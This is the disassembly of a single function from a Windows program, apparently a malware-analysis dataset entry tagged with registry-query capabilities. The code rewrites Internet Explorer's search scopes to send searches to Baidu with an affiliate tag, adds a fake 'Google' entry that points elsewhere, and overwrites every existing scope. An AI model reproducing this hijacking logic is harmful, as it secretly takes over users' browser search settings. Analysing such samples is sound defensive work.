Function at 0x4093e0
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push 0xffffffffffffffff
push 0x4289b9
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x124
push ebx
push ebp
xor ebp, ebp
push esi
push edi
mov esi, ecx
mov dword [esp + 0x1c], ebp
mov eax, dword [0x4346e4]
mov dword [esp + 0x13c], ebp
mov dword [esp + 0x20], 0x100
mov dword [esp + 0x14], eax
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [esp + 0x10]
push ecx
push 0xf003f
push ebp
mov ebx, 1
push str.SoftwareMicrosoftInternet_ExplorerSearchScopes
push 0x80000001
mov byte [esp + 0x150], bl
mov dword [esp + 0x24], ebp
call edi
cmp eax, ebp
jne 0x4094e2
mov ebp, dword [esp + 0x10]
push 0x100
lea ecx, [esp + 0x18]
mov dword [esp + 0x20], ebp
call fcn.0041f383
lea edx, [esp + 0x20]
mov dword [esp + 0x10], 0
push edx
push eax
lea eax, [esp + 0x18]
push eax
push 0
push str.DefaultScope
push ebp
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push 0xffffffffffffffff
lea ecx, [esp + 0x18]
mov dword [esp + 0x14], eax
call fcn.0041f3d2
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x4094bf
mov eax, dword [esp + 0x14]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x4094bf
push 0x438170
push eax
call fcn.0040ef2e
add esp, 8
test eax, eax
jne 0x4094cd
push str.317AA3CE_DFF9_454F_8131_FFC2569113CE
lea ecx, [esp + 0x18]
call fcn.0041f0dc
test ebp, ebp
je 0x4094f0
push ebp
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [esp + 0x1c], 0
jmp 0x4094f0
push str.317AA3CE_DFF9_454F_8131_FFC2569113CE
lea ecx, [esp + 0x18]
call fcn.0041f0dc
mov ecx, dword [esp + 0x14]
push ecx
push str.DefaultScope
push str.SoftwareMicrosoftInternet_ExplorerSearchScopes
push 0x80000001
mov ecx, esi
call fcn.0040d0f0
lea edx, [esp + 0x14]
lea eax, [esp + 0x10]
push edx
push str.SoftwareMicrosoftInternet_ExplorerSearchScopes_
push eax
call fcn.0041f25c
mov eax, dword [eax]
push 0x433774
push str.DisplayName
push eax
push 0x80000001
mov ecx, esi
mov byte [esp + 0x14c], 2
call fcn.0040d0f0
lea ecx, [esp + 0x10]
mov byte [esp + 0x13c], bl
call fcn.0041ef53
lea ecx, [esp + 0x14]
lea edx, [esp + 0x10]
push ecx
push str.SoftwareMicrosoftInternet_ExplorerSearchScopes_
push edx
call fcn.0041f25c
mov eax, dword [eax]
push str.http:__www.baidu.com_s_tnleizhen_dgieutf_8wdsearchTerms
push 0x432c14
push eax
push 0x80000001
mov ecx, esi
mov byte [esp + 0x14c], 3
call fcn.0040d0f0
lea ecx, [esp + 0x10]
mov byte [esp + 0x13c], bl
call fcn.0041ef53
lea eax, [esp + 0x14]
lea ecx, [esp + 0x10]
push eax
push str.SoftwareMicrosoftInternet_ExplorerSearchScopes_
push ecx
call fcn.0041f25c
mov eax, dword [eax]
push str.http:__suggestion.baidu.com_su_wdsearchTermsactionopensearchieutf_8fromie8
push str.SuggestionsURL_JSON
push eax
push 0x80000001
mov ecx, esi
mov byte [esp + 0x14c], 4
call fcn.0040d0f0
lea ecx, [esp + 0x10]
mov byte [esp + 0x13c], bl
call fcn.0041ef53
lea edx, [esp + 0x14]
lea eax, [esp + 0x10]
push edx
push str.SoftwareMicrosoftInternet_ExplorerSearchScopes_
push eax
call fcn.0041f25c
mov eax, dword [eax]
push str.http:__www.ieaddons.com_cn_DownloadHandler.ashx_ResourceId857
push str.OSDFileURL
push eax
push 0x80000001
mov ecx, esi
mov byte [esp + 0x14c], 5
call fcn.0040d0f0
lea ecx, [esp + 0x10]
mov byte [esp + 0x13c], bl
call fcn.0041ef53
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x14]
push str.SoftwareMicrosoftInternet_ExplorerSearchScopes_
push edx
call fcn.0041f25c
mov eax, dword [eax]
push str.http:__www.baidu.com_favicon.ico
push str.FaviconURL
push eax
push 0x80000001
mov ecx, esi
mov byte [esp + 0x14c], 6
call fcn.0040d0f0
lea ecx, [esp + 0x10]
mov byte [esp + 0x13c], bl
call fcn.0041ef53
lea eax, [esp + 0x14]
lea ecx, [esp + 0x10]
push eax
push str.SoftwareMicrosoftInternet_ExplorerSearchScopes_
push ecx
call fcn.0041f25c
mov eax, dword [eax]
push 0xfde9
push str.Codepage
push eax
push 0x80000001
mov ecx, esi
mov byte [esp + 0x14c], 7
call fcn.0040d060
lea ecx, [esp + 0x10]
mov byte [esp + 0x13c], bl
call fcn.0041ef53
lea edx, [esp + 0x14]
lea eax, [esp + 0x10]
push edx
push str.SoftwareMicrosoftInternet_ExplorerSearchScopes_
push eax
call fcn.0041f25c
mov eax, dword [eax]
push ebx
push str.ShowSearchSuggestions
push eax
push 0x80000001
mov ecx, esi
mov byte [esp + 0x14c], 8
call fcn.0040d060
lea ecx, [esp + 0x10]
mov byte [esp + 0x13c], bl
call fcn.0041ef53
push str.Google
push str.DisplayName
push str.SoftwareMicrosoftInternet_ExplorerSearchScopes15D07AF4_8087_4E49_8264_385D31818880
push 0x80000001
mov ecx, esi
call fcn.0040d0f0
push str.http:__www.google.cn_favicon.ico
push str.FaviconURL
push str.SoftwareMicrosoftInternet_ExplorerSearchScopes15D07AF4_8087_4E49_8264_385D31818880
push 0x80000001
mov ecx, esi
call fcn.0040d0f0
push str.http:__www.gggdu.com_google_qsearchTerms
push 0x432c14
push str.SoftwareMicrosoftInternet_ExplorerSearchScopes15D07AF4_8087_4E49_8264_385D31818880
push 0x80000001
mov ecx, esi
call fcn.0040d0f0
push str.http:__www.ieaddons.com_cn_DownloadHandler.ashx_ResourceId851
push str.OSDFileURL
push str.SoftwareMicrosoftInternet_ExplorerSearchScopes15D07AF4_8087_4E49_8264_385D31818880
push 0x80000001
mov ecx, esi
call fcn.0040d0f0
mov ecx, dword [0x4346e4]
mov dword [esp + 0x18], ecx
mov byte [esp + 0x13c], 9
lea edx, [esp + 0x24]
push edx
push 0xf003f
push 0
push str.SoftwareMicrosoftInternet_ExplorerSearchScopes
push 0x80000001
call edi
test eax, eax
jne 0x409873
xor ebp, ebp
xor edi, edi
test edi, edi
je 0x40979c
cmp edi, 0xea
jne 0x409873
lea eax, [esp + 0x2c]
lea ecx, [esp + 0x20]
push eax
mov eax, dword [esp + 0x28]
push 0
push 0
push 0
lea edx, [esp + 0x44]
push ecx
push edx
push ebp
push eax
mov dword [esp + 0x40], 0x100
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
lea ecx, [esp + 0x34]
lea edx, [esp + 0x18]
push ecx
push 0x43297c
push edx
mov edi, eax
call fcn.0041e4fe
mov eax, dword [esp + 0x20]
add esp, 0xc
lea ecx, [esp + 0x18]
push eax
call fcn.0041e178
cmp eax, 0xffffffff
jne 0x40986d
push str.15D07AF4_8087_4E49_8264_385D31818880
lea ecx, [esp + 0x1c]
call fcn.0041e178
cmp eax, 0xffffffff
jne 0x40986d
push 0xf003f
push ecx
lea edx, [esp + 0x20]
mov ecx, esp
mov dword [esp + 0x30], esp
push edx
push str.CURRENT_USERSoftwareMicrosoftInternet_ExplorerSearchScopes_
push ecx
call fcn.0041f25c
mov ecx, esi
call fcn.00407b70
lea eax, [esp + 0x18]
lea ecx, [esp + 0x10]
push eax
push str.SoftwareMicrosoftInternet_ExplorerSearchScopes_
push ecx
call fcn.0041f25c
mov eax, dword [eax]
push str.http:__www.baidu.com_s_tnleizhen_dgieutf_8wdsearchTerms
push 0x432c14
push eax
push 0x80000001
mov ecx, esi
mov byte [esp + 0x14c], 0xa
call fcn.0040d0f0
lea ecx, [esp + 0x10]
mov byte [esp + 0x13c], 9
call fcn.0041ef53
inc ebp
jmp 0x40978c
mov edx, dword [esp + 0x24]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edx
call esi
lea ecx, [esp + 0x18]
mov byte [esp + 0x13c], bl
call fcn.0041ef53
lea ecx, [esp + 0x14]
mov byte [esp + 0x13c], 0
call fcn.0041ef53
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x4098ac
push eax
call esi
mov ecx, dword [esp + 0x134]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0x130
ret